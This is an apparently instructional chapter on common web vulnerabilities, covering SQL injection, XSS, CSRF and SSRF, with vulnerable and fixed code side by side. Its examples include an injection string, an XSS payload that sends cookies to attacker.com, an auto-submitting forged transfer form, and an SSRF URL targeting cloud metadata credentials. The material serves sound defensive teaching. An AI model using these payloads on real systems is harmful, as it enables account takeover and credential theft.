System Design Fundamentals

Common Security Vulnerabilities

A

Common Security Vulnerabilities

Why the Equifax Breach Still Matters

In 2017, attackers exploited an unpatched vulnerability in Apache Struts (a Java web framework) to break into Equifax and extract 147 million records—names, Social Security numbers, birthdates, addresses, and payment history. The vulnerability was known. A patch existed. Equifax knew about it. But somehow, the patch wasn’t applied.

This is the uncomfortable truth about security: it’s not that vulnerabilities are mysterious or undetectable. The OWASP Top 10 has documented the most dangerous attack vectors for two decades. Security breaches happen not because we lack knowledge, but because knowledge doesn’t always translate into practice.

As a system designer, your job isn’t to invent new security. It’s to understand the most common attacks and implement the well-known defenses against them. This chapter covers the “big three” web vulnerabilities and the patterns that prevent them.

The Three Pillars of Web Security Risk

SQL Injection: When Databases Trust User Input

SQL injection happens when an attacker supplies specially crafted input that gets concatenated into a SQL query. Instead of retrieving data, the query gets modified to extract or modify everything.

Here’s the vulnerable pattern:

# VULNERABLE - Never do this
username = request.form['username']
query = f"SELECT * FROM users WHERE username = '{username}'"
cursor.execute(query)

An attacker enters: admin' OR '1'='1

The query becomes: SELECT * FROM users WHERE username = 'admin' OR '1'='1'

The condition '1'='1' is always true, so the query returns all users. More dangerous variants can insert data, delete tables, or execute arbitrary commands depending on database permissions.

The fix is simple and absolute: parameterized queries (prepared statements):

# SECURE - Use parameterized queries
username = request.form['username']
query = "SELECT * FROM users WHERE username = ?"
cursor.execute(query, (username,))

The ? is a placeholder. The database driver sends the SQL structure and the parameter separately. The database knows the difference between SQL syntax and data. The attacker’s malicious SQL characters are treated as literal string content, not executable code.

This pattern is universal across languages and frameworks:

// Node.js with parameterized queries
const query = 'SELECT * FROM users WHERE username = $1';
const result = await client.query(query, [username]);
// Java with prepared statements
String query = "SELECT * FROM users WHERE username = ?";
PreparedStatement stmt = connection.prepareStatement(query);
stmt.setString(1, username);
ResultSet rs = stmt.executeQuery();

Most modern ORMs (Sequelize, SQLAlchemy, TypeORM) use parameterized queries by default. But every system designer has had to debug a raw query somewhere. The rule is simple: never concatenate user input into SQL queries.

Cross-Site Scripting (XSS): JavaScript as a Weapon

XSS happens when attacker-controlled JavaScript executes in users’ browsers. The damage ranges from stealing session cookies to phishing, malware distribution, or cryptocurrency mining.

Imagine a social media platform where users write comments. An attacker posts:

<img src=x onerror="fetch('https://attacker.com/steal?cookie=' + document.cookie)">

When other users view the comment, their browser loads the comment HTML. The image fails to load, but the onerror handler executes. Their session cookie is silently sent to the attacker. If the session cookie is accessible to JavaScript (it shouldn’t be—more on that later), the attacker can impersonate them.

There are three flavors of XSS:

  1. Stored XSS: The malicious script is saved in the database (like a comment). Every viewer of that comment gets infected.
  2. Reflected XSS: The malicious script is in the URL. A link like site.com?search=<script>alert('xss')</script> executes the script when visited.
  3. DOM-based XSS: The application reads from window.location.hash or getElementById('userInput').innerHTML and directly modifies the DOM without sanitization.

The fix involves defense in depth—multiple layers:

Layer 1: Output Encoding

When you output user data, encode special characters so they’re displayed, not executed:

// VULNERABLE
document.body.innerHTML = userComment;

// SECURE - Escape HTML entities
function escapeHtml(text) {
  const map = {
    '&': '&amp;',
    '<': '&lt;',
    '>': '&gt;',
    '"': '&quot;',
    "'": '&#39;'
  };
  return text.replace(/[&<>"']/g, m => map[m]);
}
document.body.innerHTML = escapeHtml(userComment);

The &lt; entity displays as less than in the browser, not as an opening tag. JavaScript won’t execute.

Layer 2: Content Security Policy (CSP)

CSP is a browser feature that restricts where scripts can load from:

Content-Security-Policy: default-src 'self'; script-src 'self' cdn.example.com

This says: “By default, only load resources from my own domain. For scripts specifically, allow my domain and cdn.example.com.” If an attacker tries to inject <script src="https://evil.com/malware.js">, the browser blocks it—CSP violations are logged, giving you visibility into attacks.

Layer 3: HttpOnly Cookies

Session tokens should never be accessible to JavaScript:

// When setting the cookie on the server
Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict

Even if XSS executes, document.cookie won’t contain the session token. The browser automatically includes it in requests, but JavaScript can’t access it. This limits the damage of XSS significantly.

Layer 4: Sanitization Libraries

For user content that needs to be HTML (rich text editors, Markdown), use libraries like DOMPurify:

const clean = DOMPurify.sanitize(userInput);
document.body.innerHTML = clean;

DOMPurify parses the HTML, removes dangerous elements and attributes (like onerror), and outputs safe HTML.

Cross-Site Request Forgery (CSRF): Forged Authority

CSRF exploits the fact that browsers automatically include credentials in requests to your domain.

Imagine you’re logged into your bank. In another tab, you visit attacker.com. That page contains:

<form action="https://bank.com/transfer" method="POST">
  <input name="to_account" value="attacker_account">
  <input name="amount" value="10000">
</form>
<script>
  document.forms[0].submit(); // Auto-submit without user knowledge
</script>

Your browser submits a POST request to your bank with your credentials (because you’re still logged in). The bank sees a legitimate request from an authenticated user and processes the transfer. You just funded the attacker’s account.

Prevention: CSRF Tokens (Synchronizer Token Pattern)

The server generates a unique token per session and requires it in state-changing requests:

// Server generates token in session
app.get('/transfer', (req, res) => {
  const csrfToken = crypto.randomBytes(32).toString('hex');
  req.session.csrfToken = csrfToken;
  res.render('transfer', { csrfToken });
});

// Client includes token in form
<form action="/transfer" method="POST">
  <input type="hidden" name="csrf_token" value="{{ csrfToken }}">
  <input type="text" name="amount">
  <button type="submit">Transfer</button>
</form>

// Server validates token
app.post('/transfer', (req, res) => {
  if (req.body.csrf_token !== req.session.csrfToken) {
    return res.status(403).send('CSRF validation failed');
  }
  // Process transfer
});

The attacker’s page on attacker.com can’t read the CSRF token (cross-origin requests can’t access response bodies due to Same-Origin Policy). Without the token, the request is rejected.

Modern Alternative: SameSite Cookies

Newer browsers support SameSite=Strict on cookies:

Set-Cookie: sessionId=abc123; SameSite=Strict; Secure

This cookie is only included in same-site requests. A request originating from attacker.com to bank.com won’t include the cookie, so the attacker can’t forge authenticated requests. However, older browsers don’t support this, so CSRF tokens remain the gold standard.

Beyond the Big Three

The OWASP Top 10 includes other critical vulnerabilities:

Server-Side Request Forgery (SSRF)

The server makes requests to internal resources based on user-controlled URLs:

# VULNERABLE
url = request.args.get('url')
response = requests.get(url)  # User could pass http://localhost:6379 (Redis)

An attacker might pass http://169.254.169.254/latest/meta/iam/security-credentials/ to steal AWS credentials from the instance metadata service.

Fix: Validate URLs against an allowlist. Disable access to internal IP ranges (127.0.0.1, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16).

# SECURE
from urllib.parse import urlparse

ALLOWED_DOMAINS = ['cdn.example.com', 'api.example.com']
url = request.args.get('url')
parsed = urlparse(url)

if parsed.netloc not in ALLOWED_DOMAINS:
    return "Not allowed", 403

response = requests.get(url)

Insecure Deserialization

Deserializing untrusted data can execute arbitrary code:

# VULNERABLE - Python pickle
import pickle
data = request.data
obj = pickle.loads(data)  # Can execute code

An attacker crafts a serialized object that executes commands when deserialized. Use JSON instead of pickle, or use safe deserialization libraries.

Broken Access Control

Users can access resources they shouldn’t. Classic examples:

  • User can view another user’s profile by changing the ID in the URL: /user/123 shows user 123’s private data even though you’re logged in as user 456
  • Admin endpoints have no role check: anyone who knows the URL can access them
  • API endpoints return all data if you request multiple IDs: /api/orders?id=1&id=2&id=3

Every endpoint must verify: “Is the authenticated user allowed to access this resource?” Missing this check is one of the most common vulnerabilities in real systems.

The Checklist: Secure by Default

Use this checklist when designing a web application:

ItemCheck
Database queriesParameterized queries everywhere, no string concatenation
User inputValidate on server-side (client validation can be bypassed)
Output encodingEncode HTML entities when displaying user content
CSP headersSet restrictive Content-Security-Policy
HTTPS onlyUse TLS for all communication, redirect HTTP to HTTPS
CSRF protectionCSRF tokens or SameSite cookies on state-changing requests
Session tokensStore in HttpOnly, Secure, SameSite cookies
Error messagesDon’t expose stack traces or internal details to users
File uploadsValidate file type and size, scan for malware, store outside web root
DependenciesKeep frameworks and libraries updated, monitor for known vulnerabilities
Access controlEvery endpoint must check if user has permission to that resource
SSRF preventionAllowlist external URLs, block internal IP ranges

Security Scanning in Practice

Manual code review catches some vulnerabilities, but you can’t find every bug. Automated tools help:

  • OWASP ZAP: Free scanner that crawls your application and tries common attacks
  • Snyk: Scans dependencies for known vulnerabilities, can integrate into your CI/CD pipeline
  • SonarQube: Code quality and security scanner, detects patterns like hardcoded secrets, XSS, SQL injection
  • Burp Suite: Professional web application testing framework

These tools won’t find all vulnerabilities, but they catch the low-hanging fruit—hardcoded credentials, outdated libraries, obvious SQL injection patterns. They’re worth running on every release.

The Trade-Off: Security vs. Productivity

Every security measure adds friction to development. CSRF tokens complicate forms. CSP headers break some legitimate functionality. Parameterized queries require more code than string concatenation.

The question isn’t whether to implement security. The question is how much friction you’ll tolerate. For most systems, the answer is: “implement all standard mitigations, then discuss exceptions.” For systems handling PII or payments, the answer is: “implement everything rigorously and accept the friction.”

Pro tip: Don’t bolt security on at the end. Design for security from the beginning. Security requirements should be part of your definition of done. A feature that’s fast but vulnerable isn’t a feature—it’s technical debt wrapped in a nice bow.

Key Takeaways

  1. SQL Injection is preventable: Use parameterized queries exclusively. No concatenation, ever.
  2. XSS requires defense in depth: Output encoding + CSP + HttpOnly cookies + input validation. One layer isn’t enough.
  3. CSRF tokens are your responsibility: Most frameworks don’t enable them by default. Explicitly add them to every state-changing request.
  4. Access control must be checked per endpoint: “Broken Access Control” is the most common vulnerability in real systems.
  5. SSRF and other attacks exist: Understand the full OWASP Top 10. The big three are just the most visible.
  6. Automated scanning catches obvious bugs: Run OWASP ZAP, Snyk, or SonarQube in your CI/CD pipeline. They’ll find hardcoded secrets and outdated libraries you might miss.

Practice Scenarios

Scenario 1: The Social Media Comment A user can post HTML in their profile bio. Your team wants to allow rich text formatting (bold, italic, links). An attacker posts a comment with a hidden script tag. What layers of defense would you implement?

Scenario 2: The Admin Panel Your API has an endpoint /admin/users that returns all user data. You realized there’s no role check—any authenticated user can access it. How do you fix this safely in production? What monitoring would you add to catch unauthorized access attempts?


Next: While encryption protects data and input validation protects applications, DDoS attacks target infrastructure. The next section covers distributed denial-of-service attacks and how to scale your defenses to survive them.